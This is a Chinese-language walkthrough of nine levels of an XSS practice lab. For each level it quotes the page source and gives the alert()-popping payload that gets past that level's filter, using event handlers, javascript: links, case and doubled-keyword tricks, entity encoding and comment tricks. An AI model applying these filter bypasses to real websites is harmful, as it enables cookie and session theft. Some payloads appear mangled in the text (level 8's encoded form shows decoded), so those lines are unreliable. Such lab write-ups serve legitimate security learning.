XSS攻击:
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容
XSS靶场地址:
参考文章:
特别鸣谢王师傅在解题过程中给予的思路与帮助!
解题过程:
Level1
右键获得源码,对源码进行分析可知,当弹窗alert被执行后,则输出"完成的不错!"并跳转到Level2。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
Level2
构建alert()提交后发现没有弹窗,右键查看源码发现<>被过滤。
<h2 align=center>没有找到和<script>alert()</script>相关的结果.</h2><center>
但在value处未被过滤,所以闭合value标签,再执行。
<input name=keyword value="<script>alert()</script>">
Level3
构建alert()提交后发现没有弹窗,右键查看源码发现value处的<>也被过滤。
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<script>alert()</script>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<script>alert()</script>'>
<input type=submit name=submit value=搜索 />
于是构造事件,此处构造代码为:
' onclick=alert() '
提交后点击输入框则弹出弹窗。
PS:经王师傅提示,使用onmouseover构造更加方便。
Level4
构造提交后右键查看源代码发现依旧是<>被过滤。
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和<script>alert()</script>相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="scriptalert()/script">
<input type=submit name=submit value=搜索 />
模仿Level3构建事件,点击输入框弹出弹窗。
Level5
尝试构造后发现,题目直接在我的<script>中添加下划线进行过滤。
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和<script>alert()</script>相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt>alert()</script>">
<input type=submit name=submit value=搜索 />
同时构造事件也被同样的方式过滤,最后构造javascript语句弹出成功。
" /> <a href=javascript:alert()>
PS: " />是确保前面的内容闭合。
Level6
尝试Level5中的方法失败了,查看源代码发现herf被过滤了。
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和" /> <a href=javascript:alert()>相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="" /> <a hr_ef=javascript:alert()>">
<input type=submit name=submit value=搜索 />
于是构造大写来绕过。
" /> <a hrEf=javascript:alert()>
Level7:
构造后发现直接将<>内的script给删除了,大小写无法规避。
尝试双写script后成功。
"><scrscriptipt>alert()</scrscriptipt>
Level8
当我们输入内容的时候,value的内容会直接带入href,点击友情链接的时候,就会执行带入的参数。
尝试使用javascript:alert()发现存在过滤。
<form action=level8.php method=GET>
<input name=keyword value="javascript:alert()">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert()">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:19</h3></body>
这里对script进行HTML实体编码。
javascript:alert()
Level9
输入提示内容非法,判断其对协议进行检测。
<form action=level9.php method=GET>
<input name=keyword value="java&#115;&#99;&#114;&#105;&#112;&#116;:alert()">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:47</h3></body>
声明http://协议,同时对其进行注释,使其能够通过检测同时不影响javascript:alert()的执行。
javascript:alert()//http://
Comments | NOTHING